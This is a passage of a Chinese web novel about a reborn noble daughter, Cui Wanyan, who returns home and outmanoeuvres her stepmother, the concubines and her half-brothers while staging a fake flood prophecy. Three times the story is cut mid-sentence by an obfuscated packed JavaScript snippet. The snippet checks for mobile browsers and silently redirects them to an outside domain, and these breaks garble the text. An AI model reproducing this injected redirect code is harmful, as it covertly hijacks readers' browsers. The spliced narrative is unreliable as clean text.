“记住，这世道什么都能算计，唯独民心。” 崔时似懂非懂地点头，“您说到底是谁在这个节骨眼要杀周王？” 崔晋思来想去便也只有一种可能。褚元唐冷宫长大，没什么仇家，要刺杀他，无非是想挑动舆论，让天下乱起来，能动这局的，怕是他自己。 “一切等他回了上京再说。”崔晋走到窗边，放晴多日的上京竟阴沉起来，雨点顺着窗棂滴滴滑落。 这上京，真是要变天了。 “听说周王救妹妹受了伤，还真是稀奇。”崔时想到这事便要发笑，他竟不知素未谋面、人人都说是灾星的妹妹有这样大的本领，竟能让那疯狗护她，想来也是个妙人。 崔晋听到这话回过神，却无半点担忧女儿的意思，反而捋了捋长须，和崔时一道笑出来：“此二人命中带煞，总归是要纠缠到一起去的。若她真能攥住周王的心，也不枉生在崔家。” 父子二人相视而笑，头顶却忽地砸下两道惊雷。 霎时间，屋外暴雨如注，整座上京城都淹没在雨幕中。 离上京不远的建州城郊，天色却是一片晴好。 马车上，褚元唐靠坐一隅，双目紧闭，乌发束起，衣袍宽松，眉目沉静，乍看仍是那副淡漠疏离的模样。 崔莞言坐在对面，目光不自觉地落在他脸上。 他昨日说的话到底什么意思？自官驿以来，他的行动言辞皆超脱前世记忆。 难道他也…… 她正思忖，他忽而睁眼。“崔小姐盯了我许久，可是有话要说？” 崔莞言一时语塞，只得牵出一抹笑：“我只是想问王爷，那日为何救我，又为何对韩文郁动手？” 褚元唐玩笑道：“碰巧罢了。若不救你，回京以后崔家怕不是要将我活刮了？” 原来真是碰巧。崔莞言欲言又止，话头打住，又觉可笑。“我在崔家没这分量。” “至于韩文郁，崔小姐说得对，我便是杀了他也合乎情理，为何要忍？崔小姐别多心了。我这人，做事向来只为自己。” 话尽，锐利的眼神竟暗了一瞬。 车厢陷在沉寂中。 风卷起帘角，光影摇曳，褚元唐的面容若隐若现，像雾中人，捉不清分寸。 马车行了几个时辰，渐渐驶近京郊，开始下起雨来。官道两旁的林木渐稀，远处城墙的轮廓隐隐显现。 车帘忽然被掀开一角，，褚元唐动身下了马车。 青禾随即被唤上来。 崔莞言撩帘望去，褚元唐翻身上马，重新回到前队，乌骓马踏尘而去，身影挺拔冷肃。 她一言未发，看着那道身影融入长队，渐行渐远。 靠近午后，远远便见城门处旌旗猎猎，重甲整列，百官依制衣冠，自午门外列立雨中。 崔莞言将帘角掀高了一些，见城门缓缓开启，沉重如山。 褚元唐未回首，也未有一言，马蹄踏入那重门深宫，背影被天光拖得很长。 马车终于缓缓转向，绕开主道，向着另一条通往崔府的小路行去。 城中车马如织，国公府占据皇城正东，三进九重、门第森严。 崔莞言在封州时，一直听寄养的叔伯称道说：崔氏一族，是文官世家翘楚，几代人皆身列庙堂之上。 高祖曾为太祖草创肇基之时的谋主之一，立下定策安邦之功，官至太傅，门楣自此不坠。中兴以后，崔氏子弟多为翰林、礼部、吏部清要之职，素以清贵稳重著称，门生故吏遍布朝野。 满门清贵？不过是满门败类罢了。 崔莞言想到他们的嘴脸，便如反胃一般几乎要吐出来。 前世她回府，主母李氏端坐榻上，看都未看她一眼。她跪也跪了，拜也拜了，李氏仍不肯叫她起身，像是忘了有这么个人。 她那时胆小，以为自己礼数不周惹母亲不快，便一直跪着，直到两个妾室庄氏和孙氏来请安，方才有人注意到她。 “这便是莞言吧，在封州那地方，竟也将养得这般好？像是没吃过苦的。” 她不知来人是谁，只能直起身子朝她们也拜了拜，笨拙的样子，惹得庄氏直笑，一边笑一边又像犯晦气似的拿手帕轻轻掩住口鼻。 孙氏柔柔弱弱，看着像是个极怕事的人，心疼似的说：“二小姐是命好的，能平平安安长大。” 一句话，便挑得李氏忆起自己那没能出世的孩儿，气得将手中的瓷盏砸了过来。 茶水与碎瓷渣溅了她一身，碎瓷划破了手背，血珠立刻冒了出来。 李氏终于开口了：“你也配叫我一声母亲？你娘死得早，没人教你规矩。如今回来了，就好好学学，不然早晚也是个赔命的。” 崔莞言吓得连忙磕头，额头在地砖上砰砰作响：“是莞言不懂事，让母亲生气。” 庄氏在旁笑吟吟地看着，孙氏低头，做出一副不忍之态，却不曾替她说半句情。 这些嘴脸她前世看得太多。 笑着看戏的，假惺惺怜悯的，一个个都踩在她头上，用她的血，用她的命，换自己的安稳与脸面。 “吁！” 车夫勒马声将她从前世旧梦中唤醒。 崔府到了。 马车停在朱漆大门前，青瓦高墙森冷，门前的石狮子张着血盆大口，似笑非笑地俯瞰着来人。 雨刚停，台阶上积着一层水，映出歪斜破碎的天光。 崔莞言掀开车帘，深吸一口气，下了马车。 她抬头看着这座熟悉又冷漠的宅院，前世，她是在这里，一点点被碾碎，直到死在血水里。 如今，她又回来了。 门口有家丁和婆子守着，见她过来，只垂头行礼，不多看一眼。 跨过门槛后，是笔直宽阔的青石道，两旁是修剪整齐的松柏和几株老桂树，院子里打扫得很干净，连地上的落叶都被及时扫走，看不到半点杂乱。 沿着青石道往里走，便能看见影壁后高高的主屋檐角。 她前世曾无数次走过这条路，每次都小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970176|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼，生怕惹人不快，如今却是昂首，目光冷冷扫过四周，逼得婢女小厮低头问好，不敢多言。 行至李氏的院子，远远便看见王嬷嬷在门口守着。 王嬷嬷与张嬷嬷同是李氏陪嫁，虽说不如张嬷嬷狠毒，却也不是个好说话的。 还如前世一样，王嬷嬷点了两支高香，想在院外叫她难堪。 她皱着脸做出一副慈眉善目的样子，笑道：“二小姐一路风尘，又在外头病过几场，身子晦气重些，夫人吩咐过，香若不净，怕是要冲撞了夫人气运。” “夫人的气运？嬷嬷当真信这些？” “规矩便是规矩，信不信是小的事，二小姐总不能坏了规矩。” 香灰簌簌落下，掉在地上很快被风吹散。 “王嬷嬷既要守规矩，那就守得齐全些。今请安入内，若要香驱晦气，先请嬷嬷在此也走一遍香吧。” “嬷嬷这些年伺候夫人，辛苦劳碌，风寒湿气缠身，气血不畅，按您说的，也该先净一净，免得冲撞了夫人。” 说到最后一句时，崔莞言抬起眼，看似平静无波，目光却锋利。 王嬷嬷被她看得心口一紧，张了张嘴，却偏偏找不到反驳的由头。 她这一出，本就是自作主张，真要争辩，等夫人问起时，该如何开口？说自己连个从封州回来的乡下丫头都压不住？ 她本就不如张嬷嬷得主母喜欢，再闹出事端，只会丢了脸面，落下笑柄。 她目光在崔莞言身上来回打量。 这红唇粉面、身形瘦削的小丫头，说话声软软的，竟能堵得她半句话都说不出来，难怪张嬷嬷在半路上就吃了亏。 灾星的名头，怕也不是白叫的。 短暂的僵持后，王嬷嬷只得扯出笑：“二小姐说笑了，是奴婢多嘴。” 崔莞言抬脚径直踏过那袅袅香烟，跨入门槛。 - 李氏今日穿了一件月白暗纹褙子，领口和袖口缀着细密的暗金莲纹，满头珠翠，端坐榻上， 听见门口的脚步声，她抬起眼，见少女缓步走来，竟不是副低眉顺眼、唯唯诺诺的模样，一颦一笑倒有些上京贵女的风范。 这灾星竟养得这样好！ 听到母亲二字，更是怒上心头。 她为崔晋生了一儿一女，可长子天生跛脚不受喜爱，拼尽全力再怀上一胎，可那年大雪突降，她骤然滑胎，最后什么都没留住。 这灾星，就是在那天出生的。 害自己没了孩子，害自己被太医说此生难孕，害得自己在崔晋面前低了一头。 李氏死死捻着佛珠，掐得指尖生疼。她不说话，也不吩咐旁人说话。 崔莞言在她面前跪着，也不动。她在等，等庄氏和孙氏进来。 不多时，外头传来细碎的脚步声，庄氏和孙氏一前一后踏进门。 “夫人安。”二人齐齐行礼。 庄氏约莫四十岁，眉眼间仍带着几分风情，素来喜穿艳色，年轻时凭着一副好皮相独得崔晋宠爱，接连生下崔时、崔昱，其中尤以崔时最得器重。 孙氏更是如假包换的小妾做派，说话声不比蝇虫大，却字字诛心。 “这便是莞言吧，在封州那地方，竟也将养得这般好？像是没吃过苦的。”庄氏笑着开口。 这次崔莞言未再对她行礼，反倒直勾勾地盯着她的眼睛：“这位是庄姨娘吧？莞言早就听说，二哥哥得父亲宠爱，想来是姨娘教养得好，在外头风光不输世子。这好名声，都传到了封州。” 5. 命中带煞 庄氏原以为这封州回来的小丫头是个怯懦的，只会低头跪地求怜惜，没料到张口便是这般不软不硬的讥刺。 她与孙氏对视一眼，又忙不迭地偏头去看李氏。 果然，李氏脸色已沉，手中佛珠捻得“咔咔”作响，眼里闪过冷光。 她最清楚李氏的脾性，这女人表面温婉，从不当众发作，可耳根子软一旦记恨上谁，绝不会轻饶。 这话偏生是自己先挑起，如今让李氏不快，日后少不得要被找茬。 庄氏心里暗骂崔莞言，面上却挤出笑，柔声道：“二小姐倒是伶俐，只是封州苦寒之地，能安稳回来便好，旁的也不必多说，免得惹夫人心烦。” 崔莞言低下头，垂在身侧的手指悄然收紧。 再抬起头时，眼底却已染上一层水光，声音软软的，带着几分怯意：“是莞言唐突了，姨娘说得对，莞言从小在封州，见识浅，只是想着回京后能多学些规矩，不敢给夫人添麻烦。” “两位哥哥在外的名声，定是有心人乱说了去，莞言道听途说，惹夫人不快，实在该死。” 庄氏脸上的笑僵住。 方才她还想把话圆回去，可没料到这丫头轻轻一句“有心人乱说”，便又将火头引到她头上。 谁不知李含云最忌讳旁人议论她那跛脚儿子？ 这话看似请罪，实则将崔时在外风头太盛点得明明白白。 气氛僵持时，孙氏忽地轻声笑了笑：“二小姐一片孝心，夫人最疼体己懂事的孩子，旁的闲言碎语哪里能入耳呢？” “这京中世家人丁兴旺，总有人在外说长道短，咱们听听便罢，管不得那么多的。” 庄氏鲜少在口舌之争中落得下风，现下却只能挤出笑，低声应了句：“妹妹说的是。” 崔莞言看着这二人姐妹互助的样子，觉得实在可笑。 这一世，定要叫她们斗得死去活来才好。 李氏抬手示意崔莞言起来，原本是要借这场请安给她下马威，可这一番下来，被挑动怒火的反倒成了庄氏。 灾星克死了她的儿子，好处却叫庄玉容那狐媚子占了去。 本想训斥这三人几句，想到自己已遭崔晋厌弃，若庄氏再添油加醋吹枕边风，只怕往后崔晋更难有好脸色，只得压下怒火：“都出去吧。” - 崔莞言被李氏安排在最偏僻的听竹轩，回到院子时，青禾已在洒扫。 屋内冷清陈旧，旧器翻新掩不住岁月痕迹。窗纸泛黄，墙角生灰，屋檐低压。 桌子上的旧渍，无论青禾如何用力都擦不干净。 “主院的东厢空着，南院新修过也空着，怎么把小姐安排到这样偏僻的角落里来？”她嘟囔道。 崔莞言看着这院子，冷清、逼仄、像间牢房。但她不会再委曲求全了。 “南院朝阳，后院有花，往来的人也多，等等看吧，我们会住进去的。” 青禾怔了怔，抬头看她。小姐这一路的变化太大，简直像换了个人。可不变的是，她还是对自己好，护着自己，这样好的小姐，却偏偏不受府中人待见，想想便觉不平。 “小姐好不容易回京，老夫人却去了护国寺礼佛，也不知什么时候才回来。” 礼佛？老太太不过是怕她这个灾星回府冲撞了她，这才躲出去，可她也不能躲一辈子不回府。 前世崔莞言没日没夜亲手绣了一副寿比南山图，等着她回府，没成想礼刚送出去，老夫人转眼就吩咐下人烧了，说是晦气。 这次，礼还是要送，但她要送点不一样的。 天色尚早，她拉着青禾：“走，我们出去买些东西。” - 雨后初晴，街市上人声鼎沸。 沿街铺子林立，酒旗招展，风一吹，绸子在檐下猎猎作响。 街边茶棚里传出茶客说书的拍板声，酒楼窗前垂下竹帘，隐约可见华服公子倚栏而坐，扇影轻摇。绣坊门口立着雕花匾额，妇人们挑选绸缎，笑语盈盈。 青禾难得出来，眼睛四处看，恨不得把热闹都看进眼里。崔莞言看着暗潮涌动的上京城，心思却不知飘去了何处。 二人正走着，看到街边角落里，坐着个须发花白的算命先生，摆着个破旧竹签筒，面前立着一块斑驳木牌，上书“铁口神算”。 或是见她容貌出众，算命先生眼睛一亮，忽然开口：“这位姑娘且慢走，你印堂发黑，面带薄煞，怕是命里带灾，不解此煞，今岁……” 他话未说完，崔莞言已停下脚步，“今岁如何？有血光之灾吗” 算命先生见她神情清冷，本想再劝她破财消灾，对上她那双漆黑的眼，却愣住了。 街边行人也停下看热闹，有妇人低声叹气：“这么好的姑娘，要是真带煞，岂不可惜？” 崔莞言忽然弯了弯唇，笑意不达眼底：“命中带煞又如何，流血的是别人。” 她说完，转身便走，青禾忙跟上去，小声嘀咕：“这些江湖术士，胡说八道，什么血光不血光，奴婢听着都要生气。” 崔莞言没回头，只道：“无妨，若真有血光，轮不到我流。” 她带着青禾，沿着熙攘街市慢慢往前走，走到云墨斋门前时，停下脚步。 这是城中颇负盛名的文房四宝铺子，门口竹帘半卷，能看见里头整齐摆放的笔筒、砚台。 掌柜见客进来，连忙笑着迎上前：“姑娘是要挑笔墨纸砚吗？今日新到的徽墨，落笔如漆，若是画竹画兰，最是合适。” “我要蜡笺，再要一锭松脂墨。” 掌柜连声应下，很快便将她所需之物备好，“蜡笺落墨不易晕散，可写信作画，写祝寿诗帖也好看。” “多谢掌柜。”说完，她抱着纸墨转身出了门。 “小姐买这些做什么？”青禾问。 “我要给祖母送一份大礼。”崔莞言笑着摸了摸手中的蜡纸。 她们沿街慢慢往回走，走到方才经过的巷口时，却见先前拦住她算命的老头，此刻摊子已被掀翻在地，破竹签撒得到处都是，木牌也断成了两截，横在污水里。 两个混混模样的壮汉正围着他，一脚一脚踹过去，嘴里骂骂咧咧：“敢骗老子的银子！狗东西！还说什么煞星克主，老子就先打死你这个瘟神！” 算命先生被打得鼻青脸肿，嘴角带血，双手死死护着怀里还剩下的破旧竹筒，蜷缩在地上不停哀嚎。 街上来往行人看了一眼便匆匆绕开，谁也不敢多管。 青禾看得心惊：“小姐，那是……方才那个老头。” 崔莞言她站在原地看了一会儿，转身将蜡笺和墨交给青禾： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970177|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你先回去。” 青禾愣住：“小姐……” “放心，我自有分寸。” 她看向那被打得几乎爬不起来的算命先生，眸光深处闪了闪，唇角弯起，露出一个极淡的笑，提着裙摆，走上前去。 两个打人的混混见有人靠近，瞪眼骂道：“看什么看？不想活了？” “他骗了你们多少钱？我给。” 崔莞言从袖中摸出一块银子，抛到两人面前。 混混对视一眼，哼了一声，弯腰将银子捡起，骂骂咧咧地离开。 “多谢姑娘相救……”算命先生趴在地上大口喘气。 “先生可还想算一卦？”崔莞言问。 算命先生扶着地缓缓爬起来，擦了把脸上的血，眼神迟疑：“在下姓白，街上人都叫我白眉大师，可我实在算不得什么高人……” “只是从前跟人学过几天相术，懂些皮毛糊口而已，只敢骗骗乡野村夫。姑娘若要算卦，我怕是……” “我并非要你为我算卦，而是要告诉你卦象。” 崔莞言俯身拾起一片写着“大凶”的竹签，泛黄的木片被污水浸湿，染出一圈圈水渍。 “三日后，通州会下一场百年不遇的大雨，河堤决口，水淹数十里。” “姑娘……这话可不是随便说的啊！” “你只管去传，就说这是你开天眼算到的。三日后的这个时辰，你在这儿等我，我有事安排你去做。” “若不来……”崔莞言冷笑了一声，“就不只挨一顿打那么简单了。” 风从巷口吹来，吹动她鬓边的碎发，天光将她眼底的一抹冷意照得极亮。 白眉忙点头不敢不应。 崔莞言又给了一锭碎银让他去治伤，看着他一瘸一拐的背影笑了。 国公府的人向来信命，尤其是她那祖母。 既如此，她就造一个大仙，让祖母找上门，洗掉这背负多年的灾星罪名。 回去的路上，街市比来时更热闹。 沿街小摊前围满了买糖人的孩子，茶棚里说书声断断续续传出，提到的却不是刀光剑影的旧话本，而是昨日刚在城中传开的热事。 “听说了吗？周王在建州杀了那狗官韩文郁！” “那是该杀啊，那狗官欺压百姓，谁都知道！这回可算是有人管了！” “听说皇上不但没怪罪，还嘉奖了周王，赏了好大的恩典。” “周王果然是好样的，为民除害，护卫咱大夏的英雄啊！” 人群中有人拍着大腿，语气激动，还有人摇头笑叹，说周王不愧是从北朝质子回来的，有胆有谋，忠勇护民。 崔莞言听得新奇。 前世，褚元唐回京之初也曾有过一阵好名声，被百姓颂扬“护国忠勇”。可很快，因他在京中行事疯癫，桀骜恣睢，屡屡顶撞朝堂，连太后都被他气病，朝臣对他又恨又惧，那一点好名声败得干干净净。 今生会有不同吗？ 崔莞言一路想着，回到听竹轩时天色已暗，院内静悄悄的。 青禾已经在角门候着，见她回来，忙迎上前：“小姐，您可算回来了。” 崔莞言看了她一眼：“怎么了？” 青禾小声凑近：“国公爷回来了，刚进府没多久，还问了您在哪儿。” 6. 崔府众生 夜色渐深，周王府内，一片静寂。 高高的灰墙将院子与外面的喧嚣隔绝，院中种着几株青竹，风吹过，竹影摇曳。 再往内，是亮着烛火的书房。 守卫交接之隙，一道黑影悄无声息地从后窗跃入，揭下面具，是一张不满四十却因刀疤而尽显沧桑的脸。 他朝坐在案前的褚元唐行礼。 “王爷，人已经安排进国公府了。那姑娘武功是暗卫里一等一的。只是属下有一事不明。” 他清楚自家主子向来冷心冷面，从不曾对谁示好。可自从在建州起，偏生对那国公府的二小姐格外不同，替她挡了一刀不说，如今还要安排最好的暗卫暗中护着。 主子不是最恨国公府吗？ 他不明白。 褚元唐淡淡抬手，示意他坐下：“说吧。” 那人应声坐在下首，沉默片刻，终抬头看向他：“殿下，为何要护那国公府的二小姐？” 闻言，褚元唐笑了一声，眼底沉暗不明，许久，才低声道：“是我欠她的。不只是她，我欠的债，太多了。” “薛弼，你可有想过娶妻生子，去过安稳的日子。” “既选择效忠殿下，就从没想过要别的。” 薛弼说着便跪下，眼角泛起一圈红。他虽不明白褚元唐所说的债是为何物，却听出了话中要他离开的意思。 当年薛家因替流民求情触怒先帝，全族被流放苦寒之地，唯有褚元唐的生母宸妃肯念着与薛母的情谊替薛家求情，可却因此受连累被打入冷宫，抑郁而亡。 这份血债，薛家记在心里。 风雪疫病中薛家死伤殆尽，薛弼带着残存族人逃出苦寒，从那以后，自愿跟随在褚元唐身侧，无论生死。 褚元唐见他跪在身前，忽地眼前一晃，想起那段腥风血雨。 上辈子，薛弼是死在他面前的。 宫变之夜，血雨横飞，数根长矛刺穿了薛弼的身体，他却还撑着最后一口气，死死拦在自己面前，握着刀，拼命咳血，吐字艰难：“殿下……快走。” 倒在血泊中，他的眼神依旧冷静清明，无悔无惧。 可褚元唐终究没能走脱。 他死在了那场无法逃脱的算计里，带着未尽的恨意和屈辱。 护他的、爱他的，皆死无全尸。 今生若要护住想护之人，他便只能更冷，更狠，比那些人更早出手。 他垂下眼，眼中冷光一闪而过，随即归于沉寂。“起来吧。” 夜风拂过窗棂，吹动了灯火，院中的竹影随风而动。 听竹轩外，一胖一瘦两名侍女随青禾进了屋。 “小姐，这是管事安排过来伺候您的，一个叫桃枝，一个叫柳枝。” 崔莞言起身，目光在二人身上扫过。 那胖些的桃枝笑脸盈盈，圆圆的脸颊将眼睛都挤成了一条缝，瞧着憨厚老实。 可她是李氏的人。 前世她刚回京时，尚未适应上京繁琐礼仪，日日被管教苛责，却学得极快，短短几月便行礼周正，在外应对自如。 府里来往宾客都夸她有贵女风范。 李氏笑着听那些夸赞时，手指捻着佛珠，目光似毒针一般，直扎在她身上。 很快，李氏便装病卧床，声称自己夜里梦见厉鬼缠身，整日不见好转。 崔老夫人最信这些鬼神之说，忙请了城中有名的大师来府里驱邪。 作法前夜，桃枝哭着跑去向管事禀报，说院中传出怪声，她怕极了，不敢靠近。 众人搜查时，在她榻下发现一只用黑线缠着的破旧草人，胸口插着一把匕首。 大师当场变了脸色，指着那草人说：“这是恶咒，怨气极重，主母必是因此才噩梦缠身，若发现得晚些，只怕性命难保。” 院里所有人都看向她，眼神像看一个恶鬼。 她当场跪下，说自己不知情，可无人信， 李氏被人搀扶着，眼角几乎要流下泪：“莞言，我知你寄养在外心有怨气，可这恶咒之事，你如何做得出来？” 崔老夫人拄着拐杖，颤着声说：“造孽啊……果然是个灾星！” 她挨了家法，被罚跪祠堂三天三夜，风雪夜里无人敢送水送饭，跪到膝盖溃烂，差点死在祖宗牌位下。 站在桃枝面前，她神情平淡地看了她久，看得桃枝脸上的笑意一点点僵住。 又是片刻后，才将视线移到柳枝身上。 柳枝是个瘦小的姑娘，肤色黑，怯怯地缩着肩膀，站在桃枝身侧，不敢抬头。 柳枝？ 前世府里没有这个人。 她是谁派来的？庄氏，还是孙氏？ 正想着，外头传来脚步声。 “小姐，老爷请您去书房一趟。” 终于要见面了。 崔莞言深吸了几口气，拼命压下心头的火，生怕满腔恨意从眼底涌出来。 她抬脚欲走，又在门口停下，回头看了眼屋内。 “你们留下收拾屋子，对了，不许动床头那口箱子。” 桃枝笑着点头：“二小姐放心，奴婢怎敢乱动您的东西。” 柳枝低着头，声音细得几乎听不见：“奴婢明白。” “知道就好。”崔莞言朝她们一笑，随即离去。 - 国公府向来不兴一家子围坐用膳的场面。 各房各院平日里都是自己用饭，除非逢年过节，才会摆出全府同席的场面给外人看。 晚间，府中丫鬟小厮们便格外忙碌，挑着灯笼、提着食盒，进进出出，各自奔往不同的院子送膳伺候。 今夜不知怎的，天边挂着一轮暗红色的月亮。 红光洒在院墙上，像血溅三尺，看得人心里发凉。 丫鬟小厮们不敢快走，一个个聚在廊下，小声嘀咕。 “我长这么大从未见过这样的月色……” “二小姐刚回京，天上就挂了血月，说不定要有什么灾祸……” “可不是么，夫人说过，那位二小姐是灾星命……” 风掠过廊下，将这些话吹散在黑暗里。 院门处有脚步声，几个小厮吓得立刻散开，各自提着食盒快步离去，只剩血色月光仍冷冷照着这座深宅。 “二哥，我看下人们说得不错，二姐就是个不祥的，还不如死在封州。”崔昱指着天，十二岁孩童的脸上，竟浮出阴狠。 “唉，别这么说。”崔时摇着手中的扇子，脸上笑意未止。“她回来是有大事要做的，人前你对她敬着点，做做样子就是。” 崔昱别过脸，显然没将这话听进耳里，双手背在身后快步走远。 崔时看着他那顽劣不驯的背影，摇了摇头，也不再劝，慢慢迈步向前，却见一道纤瘦的身影自拱门外缓缓靠近。 待到几步之遥，他才看清那张脸。 一双剪水瞳婉约灵动，朱唇挑起一抹笑，叫人不由自主生出几分怜惜之意。窈窕身段往下一低，水流般清冽的声音响起：“二哥哥。” 这就是那位二妹崔莞言？ 生得一副好相貌，竟不比京中最负盛名的沈家才女逊色半分。难怪周王头一回见她便丢了魂，豁出命挡刀，这张脸若是要勾人，天下不知有多少男儿要拜在石榴裙下。 “妹妹回府可还习惯？”崔时的眼神毫不遮掩地一遍遍扫过她全身上下。 崔莞言若此刻有刀，真想将那对轻荡的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970178|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠子剜了。 这个道貌岸然的伪君子一向是最会装的，毒蛇吐信般的笑，同他母亲庄氏别无二致。 强忍着恶心，她回道：“一切都好，劳二哥记挂。” “莞言在封州时便听说二哥是气宇轩昂的翩翩公子，在上京贵公子中是当之无愧的翘楚，今日一见果真不凡。” 崔时是最爱听人“谬赞”的，此刻那得意的神情，果然没忍住溢上了脸。 他轻咳一声，假作谦虚地笑道：“妹妹别听外头胡说，二哥从来不在乎这些虚名，无意与他人相较。” 午间他还听母亲警告，说这丫头不是个好惹的，现下看来，柔柔弱弱的样子像小猫似的，哪里有什么心机，定是母亲多心了。 “父亲还在书房等着，莫让他久候。往后有什么需要的，只管来找我。” “多谢二哥。” 崔莞言目送他离去，恨不得朝他的背影啐一口唾沫。 且先让他得意几天，他的苦日子，在后头呢。 廊尽处，便是国公府的书房。 守着的家仆见她走近，行礼后便推开门。 崔莞言低头踏过门槛，崔晋正坐在书桌前。一旁，孙氏端着药碗，笑意盈盈地同他说着话。 “老爷这几日操劳，气色也大不如前了，这药是太医开的，我特意守着煎了……” 崔晋略点头，眉眼带着几分笑意，随口应着，倒也没有平日里在外时的威严肃冷。 走近几步后，她停下，双膝微屈，裙摆收得极整齐，腰背笔直，双手叠在身前，声音清清脆脆：“莞言拜见父亲，见过孙姨娘。” 崔晋原未正眼瞧她，只漫不经心的一瞥，却在看到她行礼时，顿住目光。 这一礼，周正得挑不出半分错处，举止从容，收放有度，规矩得像是自小在上京长大、教养极好的贵女。 毕竟是他的血脉，即便是长在苦寒之地，该有的气度自然是有的。 他收回目光，淡淡地“嗯”了一声。“起来吧。封州这些年，礼数学得倒不错。” 崔莞言垂首，声音恭顺：“虽未能常伴父亲膝下，但女儿不敢忘本分，常自省礼数，不敢懈怠。” 崔晋颔首道：“记得便好，女子迟早是要嫁人的，若有合适的人家，也好不失体面。” 这时，一旁的孙氏笑了：“老爷说的是，二小姐这样年纪，正是谈亲事的好时候。二小姐是有福气的，虽说在外长大，但到底是咱们国公府的女儿，日后自然嫁得不会差。” 孙氏是领教过崔莞言的利嘴的，这时不想招惹她，便只顺着崔晋的话说。 但崔莞言并不打算放过她。 抬起头看了孙氏一眼，崔莞言唇角勾起一丝羞怯又感激的笑意：“多谢姨娘吉言，莞言自知在封州长大，许多地方不懂，还常担心自己配不上好人家的门楣……” “二小姐别这么说，老爷是疼爱你的，自然会为你筹谋打算。二小姐能嫁得好，是咱们府上的福气。”孙氏语气柔柔，说着便抬手轻轻搭在崔晋手臂上，甚是亲昵。 呵，福气。 她极力扯出一抹笑：“莞言明白，莞言不敢忘了自己是国公府的女儿。” “只是……莞言在回府路上听见街边茶肆里有人议论，说国公府已给二小姐寻了门第不低的人家。莞言愚钝，不敢信外头的传言，却怕有人在外胡言乱语，污了府上的名声，也坏了父亲的清静。” 崔晋要她嫁给褚元唐的心思，并未告知多少人。可若是连街头茶肆都传出了风声，那这府里必是有人在外走了嘴。 局势未明，他的谋划如何能让外人知晓？ 崔晋眸色彻底沉了下来：“胡说八道！是谁在外面乱嚼舌根？” 7. 天赐福星 崔晋盯着崔莞言，那双凌厉惯了的眼带着冷意，将她从头到脚打量了一遍。 她低眉顺眼地站在那里，唇边却挂着小心翼翼的笑，说话时声音不高不低，拘谨小心，不像在说谎。 崔时圆滑明白轻重，父子间的谋划从不泄露半分，庄氏跟在自己身边多年，深知利害向来谨慎，不会不知这其中的分寸。 府里知情的人，屈指可数。 崔晋的眼神不自觉地扫过孙氏。 孙氏入府不过三四年，年纪比崔莞言大不了几岁，模样温顺，柔声细语最会哄人，府中上下无不对她交口称赞，是个聪明周全的。 “父亲，莞言想着，外头的人若无缘无故传出这样的话，旁人未必肯信，除非……除非听的人觉得，这话不像是假的。” “也许是无心走漏……” 话音一落，崔莞言像意识到自己说得太多，连忙低下头，咬了咬唇。 崔晋眸光低沉，又看向一旁安静低头的孙氏。 她倒是个爱和府中婆子丫鬟打趣的，莫非是她说漏了嘴？ 孙氏骤觉那目光落在自己身上，背脊蓦地一僵：“老爷，许是外人胡乱猜测……” 话尽，崔晋却未将目光移开，只是拨开她搭在肩上的手。 “行了。莞言，这些事与你无关，不必多想，守好你的本分便是。” “是，女儿先退下了。”崔莞言柔声应道。 孙氏死死盯着她，指尖在帕子上拧着，笑意僵在唇边，险些绷断。 崔晋疑心病重，怀疑的种子一旦种下，以后孙氏便再难探到枕边话了。 - 见过崔晋后，崔莞言难得过了两天安生日子。 李氏见崔晋对她并无苛责，便不敢轻易找茬，只派人来送了几件绣帕香囊，算作打发恩典。 庄氏和孙氏更是销声匿迹。 前日还在她面前装得温婉亲厚，结果都栽了跟头，此刻自然不敢贸然再来试探。 只是崔莞言心里清楚，这府里安静不过是假象。 李氏不会甘心看她活得体面安稳，庄氏和孙氏看似收敛，恐怕正憋着什么坏主意，等她露出破绽时狠狠踩一脚。 听竹轩院中，晨光自竹叶缝隙洒下。 青禾提着食盒进来，一脸掩不住的兴奋。 “小姐，我今早去东街买点心，看到上回那个算命老道在街口支了摊，跟过路的都说‘通州要下百年难遇的大雨’，说得神乎其神，还说是他开天眼算出来的。” 青禾忍不住笑出声来，眉眼弯弯：“这春分时节，通州又是少雨的地方，哪来的大雨？那老道怕不是疯了吧，还嚷嚷着让人叫通州的亲戚快去避灾，说得跟真的一样，惹得许多人围着听笑话呢。” “没人相信？”崔莞言问。 “可不都没信嘛。”青禾撇撇嘴，“那老道被人轰走了好几次，还非要回去接着说，啰啰嗦嗦，真真是疯子。” “他倒是尽心。” 可惜，这世上最可笑的，便是所有人都自以为聪明，笑话那些疯言疯语。 等到真正应验时，哭都来不及。 青禾像是突然明白了什么，“小姐，那天你去找他，难道是……” 